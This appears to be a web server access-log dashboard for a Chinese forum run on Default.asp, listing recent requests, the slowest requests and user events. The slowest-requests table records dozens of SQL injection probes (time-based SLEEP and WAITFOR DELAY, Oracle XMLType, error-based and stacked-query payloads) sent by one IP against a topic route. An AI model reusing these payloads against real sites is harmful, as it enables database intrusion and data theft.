实时并发 | 今日访问 | 昨日访问 |
---|---|---|
0个/秒 | 27 | 79 |
方式 | 请求路径 | 路由 | 耗时 | 请求IP | 访问时间 |
---|---|---|---|---|---|
GET | /Default.asp | 406ms | 135.148.100.196 | 2025-09-03 10:58:23 |
|
GET | /Default.asp | topic/118 | 109ms | 59.52.102.17 | 2025-09-03 10:36:14 |
GET | /Default.asp | 172ms | 110.249.201.95 | 2025-09-03 10:00:20 |
|
GET | /Default.asp | topic/118 | 62ms | 119.8.243.204 | 2025-09-03 09:46:56 |
GET | /Default.asp | topic/54 | 47ms | 192.99.3.137 | 2025-09-03 09:37:28 |
GET | /Default.asp | forum/1 | 110ms | 40.77.167.71 | 2025-09-03 09:19:32 |
GET | /Default.asp | 7235ms | 40.77.167.71 | 2025-09-03 09:19:24 |
|
GET | /Default.asp | topic/9 | 2531ms | 202.76.164.84 | 2025-09-03 08:42:19 |
GET | /Default.asp | 2562ms | 123.121.163.53 | 2025-09-03 08:42:16 |
|
GET | /Default.asp | topic/72 | 62ms | 52.167.144.230 | 2025-09-03 08:01:20 |
GET | /Default.asp | topic/6 | 47ms | 146.174.178.86 | 2025-09-03 07:51:16 |
GET | /Default.asp | topic/44 | 62ms | 52.167.144.174 | 2025-09-03 07:26:52 |
GET | /Default.asp | 63ms | 43.166.240.231 | 2025-09-03 07:23:48 |
|
GET | /Default.asp | 78ms | 52.167.144.174 | 2025-09-03 07:21:00 |
|
GET | /Default.asp | topic/104 | 63ms | 66.249.70.165 | 2025-09-03 07:00:03 |
GET | /Default.asp | topic/118 | 5735ms | 71.132.20.76 | 2025-09-03 06:12:00 |
GET | /Default.asp | topic/128/3 | 47ms | 65.108.128.54 | 2025-09-03 05:36:50 |
GET | /Default.asp | topic/1 | 47ms | 146.174.191.96 | 2025-09-03 05:29:45 |
GET | /Default.asp | 78ms | 20.191.45.212 | 2025-09-03 04:33:50 |
|
GET | /Default.asp | topic/79/1 | 63ms | 66.249.70.164 | 2025-09-03 03:44:30 |
GET | /Default.asp | 140ms | 71.6.134.235 | 2025-09-03 03:42:15 |
|
GET | /Default.asp | topic/79/3 | 2578ms | 66.249.70.163 | 2025-09-03 03:34:37 |
GET | /Default.asp | topic/64 | 781ms | 146.174.181.42 | 2025-09-03 01:46:56 |
GET | /Default.asp | topic/31 | 93ms | 66.249.70.166 | 2025-09-03 00:51:41 |
GET | /Default.asp | 4281ms | 111.225.148.159 | 2025-09-03 00:46:49 |
|
GET | /Default.asp | topic/128 | 422ms | 52.167.144.168 | 2025-09-03 00:36:34 |
GET | /Default.asp | topic/118 | 7859ms | 203.168.240.64 | 2025-09-03 00:05:01 |
GET | /Default.asp | topic/112 | 109ms | 52.167.144.146 | 2025-09-02 23:32:03 |
GET | /Default.asp | topic/45 | 4344ms | 40.77.167.57 | 2025-09-02 23:04:57 |
GET | /Default.asp | topic/99 | 2953ms | 185.191.171.9 | 2025-09-02 22:54:38 |
GET | /Default.asp | Api' | 78ms | 154.214.1.186 | 2025-09-02 22:41:56 |
GET | /Default.asp | topic/35 | 2453ms | 23.81.34.58 | 2025-09-02 21:58:17 |
GET | /Default.asp | topic/69 | 547ms | 66.249.70.165 | 2025-09-02 21:09:25 |
GET | /Default.asp | topic/54 | 78ms | 52.167.144.156 | 2025-09-02 20:53:56 |
GET | /Default.asp | topic/26 | 94ms | 27.159.75.49 | 2025-09-02 20:51:38 |
GET | /Default.asp | 31ms | 27.159.75.49 | 2025-09-02 20:51:28 |
|
GET | /Default.asp | 47ms | 27.159.75.50 | 2025-09-02 20:51:26 |
|
GET | /Default.asp | 110ms | 27.159.75.49 | 2025-09-02 20:51:26 |
|
GET | /Default.asp | 1125ms | 43.166.244.66 | 2025-09-02 20:40:34 |
|
GET | /Default.asp | topic/35 | 172ms | 117.30.100.214 | 2025-09-02 20:37:14 |
GET | /Default.asp | 94ms | 40.88.21.235 | 2025-09-02 20:32:35 |
|
GET | /Default.asp | 78ms | 60.182.89.160 | 2025-09-02 20:26:32 |
|
GET | /Default.asp | 2516ms | 60.182.89.160 | 2025-09-02 20:25:45 |
|
GET | /Default.asp | topic/64/1 | 656ms | 85.208.96.200 | 2025-09-02 20:22:34 |
GET | /Default.asp | topic/35 | 94ms | 40.77.167.48 | 2025-09-02 19:34:30 |
GET | /Default.asp | topic/4 | 1437ms | 124.239.12.171 | 2025-09-02 19:15:40 |
GET | /Default.asp | topic/4 | 94ms | 106.8.137.167 | 2025-09-02 19:15:36 |
GET | /Default.asp | topic/130 | 1266ms | 40.77.167.41 | 2025-09-02 18:48:13 |
GET | /Default.asp | 62ms | 40.77.167.48 | 2025-09-02 18:12:16 |
|
GET | /Default.asp | topic/28 | 204ms | 85.208.96.203 | 2025-09-02 17:57:06 |
GET | /Default.asp | topic/90 | 1812ms | 52.167.144.211 | 2025-09-02 17:45:28 |
GET | /Default.asp | topic/118 | 62ms | 119.8.243.204 | 2025-09-02 17:35:56 |
GET | /Default.asp | topic/28 | 94ms | 52.167.144.176 | 2025-09-02 16:40:37 |
GET | /Default.asp | forum/1 | 62ms | 222.92.62.12 | 2025-09-02 16:25:33 |
GET | /Default.asp | 125ms | 222.92.62.12 | 2025-09-02 16:25:18 |
|
GET | /Default.asp | topic/57 | 1234ms | 111.225.149.22 | 2025-09-02 16:02:33 |
GET | /Default.asp | topic/101 | 62ms | 66.249.70.165 | 2025-09-02 14:48:34 |
GET | /Default.asp | 329ms | 170.106.65.93 | 2025-09-02 14:11:39 |
|
GET | /Default.asp | 78ms | 63.35.189.11 | 2025-09-02 14:07:51 |
|
GET | /Default.asp | topic/79/3 | 297ms | 66.249.70.164 | 2025-09-02 13:59:24 |
GET | /Default.asp | topic/35 | 375ms | 31.148.130.39 | 2025-09-02 13:12:43 |
GET | /Default.asp | topic/70 | 266ms | 185.191.171.1 | 2025-09-02 12:34:02 |
GET | /Default.asp | topic/32 | 187ms | 85.208.96.201 | 2025-09-02 12:08:41 |
GET | /Default.asp | topic/30 | 78ms | 52.167.144.185 | 2025-09-02 11:30:10 |
GET | /Default.asp | topic/89/1 | 63ms | 52.167.144.238 | 2025-09-02 10:57:16 |
GET | /Default.asp | topic/41 | 219ms | 185.191.171.18 | 2025-09-02 10:47:56 |
GET | /Default.asp | topic/35 | 62ms | 36.100.97.2 | 2025-09-02 10:43:26 |
GET | /Default.asp | topic/3/3 | 5812ms | 52.167.144.225 | 2025-09-02 10:13:25 |
GET | /Default.asp | 125ms | 36.106.166.249 | 2025-09-02 10:10:02 |
|
GET | /Default.asp | 94ms | 110.249.202.93 | 2025-09-02 10:01:49 |
|
GET | /Default.asp | topic/72 | 438ms | 46.232.120.202 | 2025-09-02 09:48:45 |
GET | /Default.asp | topic/83 | 4969ms | 43.130.34.74 | 2025-09-02 09:45:50 |
GET | /Default.asp | topic/126 | 2485ms | 170.106.180.153 | 2025-09-02 09:35:18 |
GET | /Default.asp | topic/111 | 47ms | 43.153.10.13 | 2025-09-02 09:25:09 |
GET | /Default.asp | topic/122 | 797ms | 43.134.141.244 | 2025-09-02 09:14:12 |
GET | /Default.asp | login | 406ms | 52.167.144.229 | 2025-09-02 09:09:47 |
GET | /Default.asp | topic/127 | 2641ms | 170.106.113.235 | 2025-09-02 09:04:05 |
GET | /Default.asp | topic/31 | 3454ms | 101.33.55.204 | 2025-09-02 08:55:02 |
GET | /Default.asp | topic/35 | 47ms | 111.181.111.138 | 2025-09-02 08:50:01 |
GET | /Default.asp | topic/83 | 219ms | 43.157.67.70 | 2025-09-02 08:45:28 |
GET | /Default.asp | topic/126 | 78ms | 43.166.247.82 | 2025-09-02 08:34:01 |
GET | /Default.asp | topic/111 | 62ms | 43.153.204.189 | 2025-09-02 08:27:46 |
GET | /Default.asp | topic/122 | 62ms | 43.157.98.187 | 2025-09-02 08:17:35 |
GET | /Default.asp | topic/119 | 47ms | 52.167.144.166 | 2025-09-02 08:12:28 |
GET | /Default.asp | topic/6 | 47ms | 52.167.144.150 | 2025-09-02 08:12:06 |
GET | /Default.asp | forum/5 | 1250ms | 52.167.144.150 | 2025-09-02 08:10:26 |
GET | /Default.asp | topic/127 | 2375ms | 43.166.128.187 | 2025-09-02 08:06:31 |
GET | /Default.asp | topic/131 | 172ms | 52.167.144.150 | 2025-09-02 08:06:16 |
GET | /Default.asp | forum/3 | 250ms | 43.156.228.27 | 2025-09-02 07:53:13 |
GET | /Default.asp | topic/7 | 344ms | 40.77.167.71 | 2025-09-02 07:46:58 |
GET | /Default.asp | topic/25 | 32ms | 66.249.70.165 | 2025-09-02 07:45:51 |
GET | /Default.asp | forum/1 | 47ms | 43.131.243.61 | 2025-09-02 07:45:21 |
GET | /Default.asp | forum/5 | 313ms | 43.156.202.34 | 2025-09-02 07:32:58 |
GET | /Default.asp | forum/4 | 1859ms | 43.159.128.237 | 2025-09-02 07:25:17 |
GET | /Default.asp | 78ms | 43.153.104.196 | 2025-09-02 07:10:43 |
|
GET | /Default.asp | topic/118 | 46ms | 111.225.149.222 | 2025-09-02 06:43:59 |
GET | /Default.asp | topic/79 | 2438ms | 52.167.144.210 | 2025-09-02 06:38:01 |
GET | /Default.asp | topic/14 | 47ms | 185.191.171.12 | 2025-09-02 04:39:30 |
GET | /Default.asp | login | 47ms | 52.167.144.176 | 2025-09-02 03:10:29 |
GET | /Default.asp | topic/17 | 62ms | 52.167.144.231 | 2025-09-02 02:35:36 |
路由 | 耗时 | 方式 | 路径 | 请求IP | 发生时间 |
---|---|---|---|---|---|
topic/79/3%' AND 2359=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(122)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2359=2359) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(118)||CHR(112)||CHR(113)||CHR(62))) FROM DUAL) AND 'deoN%'='deoN | 9047ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:13:52 |
topic/129 | 8453ms | GET | /Default.asp | 146.174.172.80 | 2025-09-01 20:14:20 |
topic/118 | 7859ms | GET | /Default.asp | 203.168.240.64 | 2025-09-03 00:05:01 |
topic/79/3 RLIKE SLEEP(10)-- qmIt | 7532ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:21:33 |
7235ms | GET | /Default.asp | 40.77.167.71 | 2025-09-03 09:19:24 |
|
7187ms | GET | /Default.asp | 39.128.17.65 | 2025-09-01 15:15:48 |
|
topic/79/3'));DECLARE @x CHAR(9);SET @x=0x303A303A3130;WAITFOR DELAY @x-- | 6922ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:20:44 |
topic/79/3)) WAITFOR DELAY '0:0:10' AND ((4840=4840 | 6500ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:21:53 |
topic/79/3' AND (SELECT (CASE WHEN (9860=7647) THEN NULL ELSE CAST((CHR(101)||CHR(75)||CHR(111)||CHR(112)) AS NUMERIC) END)) IS NULL AND 'YVDV' LIKE 'YVDV | 6234ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:23:43 |
5813ms | HEAD | /Default.asp | 54.74.25.71 | 2025-08-31 03:20:02 |
|
topic/3/3 | 5812ms | GET | /Default.asp | 52.167.144.225 | 2025-09-02 10:13:25 |
topic/118 | 5735ms | GET | /Default.asp | 71.132.20.76 | 2025-09-03 06:12:00 |
topic/18 | 5421ms | GET | /Default.asp | 202.76.166.11 | 2025-09-01 12:59:19 |
topic/31 | 5344ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 21:54:59 |
topic/104 | 5234ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 17:15:01 |
topic/79/3 AND (SELECT 1131 FROM (SELECT(SLEEP(10)))WZmF) | 5031ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:15:02 |
topic/120 | 5000ms | GET | /Default.asp | 51.77.218.189 | 2025-08-31 13:57:18 |
topic/83 | 4969ms | GET | /Default.asp | 43.130.34.74 | 2025-09-02 09:45:50 |
4907ms | GET | /Default.asp | 121.237.36.30 | 2025-09-01 11:17:15 |
|
topic/79/3") AND 1027=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(106)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1027=1027) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ("adVd"="adVd | 4875ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:19:47 |
topic/79/3') PROCEDURE ANALYSE(EXTRACTVALUE(9922,CONCAT(0x5c,0x717a6a7071,(SELECT (CASE WHEN (9922=9922) THEN 1 ELSE 0 END)),0x716a7a6b71)),1) AND ('XjpH'='XjpH | 4734ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:20:05 |
topic/121 | 4719ms | GET | /Default.asp | 17.241.75.86 | 2025-08-31 22:57:08 |
topic/27 | 4625ms | GET | /Default.asp | 185.191.171.19 | 2025-09-01 12:42:46 |
topic/79/3" AND 5465=5424-- EFzN | 4625ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:11:01 |
register | 4594ms | GET | /Default.asp | 43.130.57.46 | 2025-09-01 04:27:03 |
topic/79/3')) AND (SELECT (CASE WHEN (6426=8635) THEN NULL ELSE CAST((CHR(66)||CHR(88)||CHR(69)||CHR(82)) AS NUMERIC) END)) IS NULL AND (('iXON'='iXON | 4594ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:11:35 |
topic/28/2 | 4563ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 18:03:07 |
topic/79/3') AND 8398=(SELECT (CASE WHEN (8398=8398) THEN 8398 ELSE (SELECT 3264 UNION SELECT 7695) END))-- iIKy | 4516ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:10:36 |
topic/72 | 4454ms | GET | /Default.asp | 124.115.222.148 | 2025-09-01 09:05:11 |
topic/79/3') AND 5711=(SELECT (CASE WHEN (5711=5711) THEN 5711 ELSE (SELECT 5790 UNION SELECT 8036) END))-- rKXi | 4390ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:17:20 |
topic/79/3) AND (SELECT (CASE WHEN (6660=6660) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,6660) END) FROM DUAL) IS NULL AND (8423=8423 | 4375ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:23:59 |
topic/45 | 4344ms | GET | /Default.asp | 40.77.167.57 | 2025-09-02 23:04:57 |
topic/79/3) RLIKE (SELECT (CASE WHEN (1473=1473) THEN 0x746f7069632f37392f33 ELSE 0x28 END)) AND (2952=2952 | 4343ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:11:07 |
topic/79/3 RLIKE SLEEP(10) | 4313ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:15:33 |
4281ms | GET | /Default.asp | 111.225.148.159 | 2025-09-03 00:46:49 |
|
topic/132 | 4266ms | GET | /Default.asp | 110.249.202.97 | 2025-09-02 01:53:02 |
topic/79/3" AND 1003=CONCAT(CHAR(113)+CHAR(122)+CHAR(122)+CHAR(122)+CHAR(113),(SELECT (CASE WHEN (1003=1003) THEN CHAR(49) ELSE CHAR(48) END)),CHAR(113)+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)) AND "SWzL"="SWzL | 4250ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:13:42 |
topic/53 | 4235ms | GET | /Default.asp | 216.73.216.162 | 2025-09-01 01:30:15 |
topic/17 | 4235ms | GET | /Default.asp | 85.208.96.208 | 2025-09-01 23:11:44 |
topic/79/3')) RLIKE SLEEP(10) AND (('mZDa'='mZDa | 4203ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:15:38 |
topic/79/3") RLIKE (SELECT (CASE WHEN (8530=5023) THEN 0x746f7069632f37392f33 ELSE 0x28 END)) AND ("HgAR"="HgAR | 4188ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:23:22 |
4125ms | GET | /Default.asp | 149.40.56.10 | 2025-08-30 23:55:17 |
|
topic/76 | 4094ms | GET | /Default.asp | 17.241.227.112 | 2025-08-30 23:53:09 |
topic/79/3')) AND 4802=(SELECT 4802 FROM PG_SLEEP(10)) AND (('kmXB'='kmXB | 4047ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:21:45 |
topic/79/3' AND (SELECT 1557 FROM (SELECT(SLEEP(10)))PplO) AND 'FDGm'='FDGm | 4031ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:21:06 |
topic/130 | 3985ms | GET | /Default.asp | 39.171.198.53 | 2025-08-31 16:13:11 |
forum/3/2 | 3922ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 21:55:21 |
topic/79/3) AND 1027=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(106)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (1027=1027) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(106)||CHR(122)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND (1099=1099 | 3906ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:19:35 |
topic/79/3') ORDER BY 1# | 3797ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:16:34 |
topic/79 | 3625ms | GET | /Default.asp | 52.167.144.216 | 2025-08-31 04:20:59 |
login | 3578ms | GET | /Default.asp | 52.167.144.188 | 2025-09-01 11:16:21 |
topic/133 | 3562ms | GET | /Default.asp | 223.160.113.240 | 2025-08-30 23:07:01 |
topic/31 | 3454ms | GET | /Default.asp | 101.33.55.204 | 2025-09-02 08:55:02 |
topic/56 | 3407ms | GET | /Default.asp | 66.249.70.165 | 2025-08-30 23:38:47 |
3391ms | GET | /Default.asp | 146.174.165.4 | 2025-09-01 22:02:16 |
|
topic/79/3";DECLARE @XtIR NVARCHAR(4000);SET @XtIR=(SELECT 'qzzzq'+(SELECT (CASE WHEN (4212=4212) THEN '1' ELSE '0' END))+'qqvpq');EXEC @XtIR-- | 3266ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:14:34 |
forum/1 | 3203ms | GET | /Default.asp | 223.160.113.240 | 2025-08-30 23:48:05 |
3156ms | GET | /Default.asp | 106.8.139.235 | 2025-09-01 02:47:10 |
|
topic/132 | 3140ms | GET | /Default.asp | 223.160.113.240 | 2025-08-30 23:11:59 |
topic/30 | 3062ms | GET | /Default.asp | 66.249.70.165 | 2025-08-31 15:28:23 |
forum/3 | 3031ms | GET | /Default.asp | 51.77.218.189 | 2025-08-31 13:56:47 |
login | 3016ms | GET | /Default.asp | 52.167.144.176 | 2025-08-30 23:54:50 |
topic/35 | 3000ms | GET | /Default.asp | 125.70.20.150 | 2025-09-01 23:54:00 |
topic/3 | 2984ms | GET | /Default.asp | 146.174.172.135 | 2025-08-31 16:34:01 |
topic/99 | 2953ms | GET | /Default.asp | 185.191.171.9 | 2025-09-02 22:54:38 |
topic/79/3") AND (SELECT (CASE WHEN (1107=5766) THEN NULL ELSE CAST((CHR(108)||CHR(116)||CHR(76)||CHR(69)) AS NUMERIC) END)) IS NULL AND ("puAs"="puAs | 2860ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:23:51 |
api/replyEdit | 2859ms | POST | /Default.asp | 223.160.113.240 | 2025-08-30 23:08:18 |
api/replyEdit | 2859ms | POST | /Default.asp | 223.160.113.240 | 2025-08-30 23:09:10 |
topic/4 | 2766ms | GET | /Default.asp | 39.128.17.65 | 2025-09-01 15:16:41 |
topic/110 | 2703ms | GET | /Default.asp | 216.73.216.162 | 2025-09-01 01:30:19 |
2703ms | GET | /Default.asp | 192.42.116.182 | 2025-09-02 01:24:05 |
|
topic/111 | 2672ms | GET | /Default.asp | 17.241.75.244 | 2025-08-31 22:35:02 |
topic/42 | 2656ms | GET | /Default.asp | 66.249.70.166 | 2025-09-02 02:20:00 |
topic/4 | 2641ms | GET | /Default.asp | 14.116.140.228 | 2025-09-01 15:16:46 |
topic/127 | 2641ms | GET | /Default.asp | 170.106.113.235 | 2025-09-02 09:04:05 |
topic/28/1 | 2640ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 18:04:58 |
topic/76 | 2640ms | GET | /Default.asp | 52.167.144.202 | 2025-08-31 21:00:19 |
topic/11 | 2640ms | GET | /Default.asp | 85.208.96.206 | 2025-09-01 17:35:10 |
topic/79/3)) AND (SELECT (CASE WHEN (9394=7136) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,9394) END) FROM DUAL) IS NULL AND ((1387=1387 | 2640ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:18:14 |
topic/133 | 2625ms | GET | /Default.asp | 39.128.17.65 | 2025-09-01 15:16:25 |
topic/79/3 | 2578ms | GET | /Default.asp | 66.249.70.163 | 2025-09-03 03:34:37 |
2563ms | GET | /Default.asp | 222.92.62.12 | 2025-09-01 11:09:25 |
|
2562ms | GET | /Default.asp | 123.121.163.53 | 2025-09-03 08:42:16 |
|
topic/9 | 2531ms | GET | /Default.asp | 202.76.164.84 | 2025-09-03 08:42:19 |
2516ms | GET | /Default.asp | 43.158.91.71 | 2025-08-31 20:10:42 |
|
2516ms | GET | /Default.asp | 60.182.89.160 | 2025-09-02 20:25:45 |
|
forum/1 | 2485ms | GET | /Default.asp | 40.77.167.23 | 2025-09-01 15:12:55 |
topic/126 | 2485ms | GET | /Default.asp | 170.106.180.153 | 2025-09-02 09:35:18 |
topic/3/3 | 2469ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 09:03:49 |
topic/79/3%' AND 5465=DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(106)||CHR(119)||CHR(120),10) AND 'TVwD%'='TVwD | 2469ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:26:45 |
topic/3/4 | 2453ms | GET | /Default.asp | 216.73.216.162 | 2025-08-31 09:02:08 |
topic/46 | 2453ms | GET | /Default.asp | 52.167.144.228 | 2025-08-31 21:48:11 |
topic/63 | 2453ms | GET | /Default.asp | 43.153.10.83 | 2025-09-01 06:03:34 |
topic/79/3 AND SLEEP(10) | 2453ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:15:19 |
topic/79/3') AND (SELECT (CASE WHEN (6660=6660) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,6660) END) FROM DUAL) IS NULL AND ('lVPs'='lVPs | 2453ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:24:09 |
topic/35 | 2453ms | GET | /Default.asp | 23.81.34.58 | 2025-09-02 21:58:17 |
topic/79/3%' RLIKE (SELECT (CASE WHEN (2979=2979) THEN 0x746f7069632f37392f33 ELSE 0x28 END)) AND 'Myvi%'='Myvi | 2438ms | GET | /Default.asp | 194.0.234.13 | 2025-09-01 19:17:51 |
topic/79 | 2438ms | GET | /Default.asp | 52.167.144.210 | 2025-09-02 06:38:01 |
forum/6 | 2437ms | GET | /Default.asp | 43.166.136.153 | 2025-09-01 04:04:49 |
topic/129 | 2422ms | GET | /Default.asp | 66.249.70.165 | 2025-09-01 16:35:28 |
路由 | 耗时 | 方式 | 路径 | 发生时间 |
---|---|---|---|---|
406ms | GET |
/Default.asp
IP:135.148.100.196[281ms] [297ms] |
2025-09-03 10:58:23 |
|
78ms | GET |
/Default.asp
IP:63.35.189.11[31ms] Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)[31ms] |
2025-09-02 14:07:51 |
|
5813ms | HEAD |
/Default.asp
IP:54.74.25.71[3391ms] https://www.netcraft.com/survey/[3391ms] |
2025-08-31 03:20:02 |
|
api/replyAdd | 1829ms | POST |
/Default.asp
風雲评论了帖子《《王者荣耀》海报,你还记得几个?》[1829ms] |
2025-08-30 23:47:15 |
api/replyAdd | 62ms | POST |
/Default.asp
風雲评论了帖子《《王者荣耀》海报,你还记得几个?》[47ms] |
2025-08-30 23:46:58 |
api/login | 422ms | POST |
/Default.asp
風雲 登录成功[407ms] |
2025-08-30 23:45:47 |
172ms | GET |
/Default.asp
IP:223.160.112.240[141ms] Mozilla/5.0 (Phone; OpenHarmony 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 ArkWeb/4.1.6.1 Mobile HuaweiBrowser/5.1.7.304[141ms] |
2025-08-30 23:45:31 |
|
api/topicAdd | 1813ms | POST |
/Default.asp
風雲发表了帖子《一个简单的文件大小解析》[1813ms] |
2025-08-30 22:54:44 |
api/login | 63ms | POST |
/Default.asp
風雲 登录成功[63ms] |
2025-08-30 22:49:09 |
453ms | GET |
/Default.asp
IP:183.215.90.61[62ms] [78ms] |
2025-08-30 22:23:00 |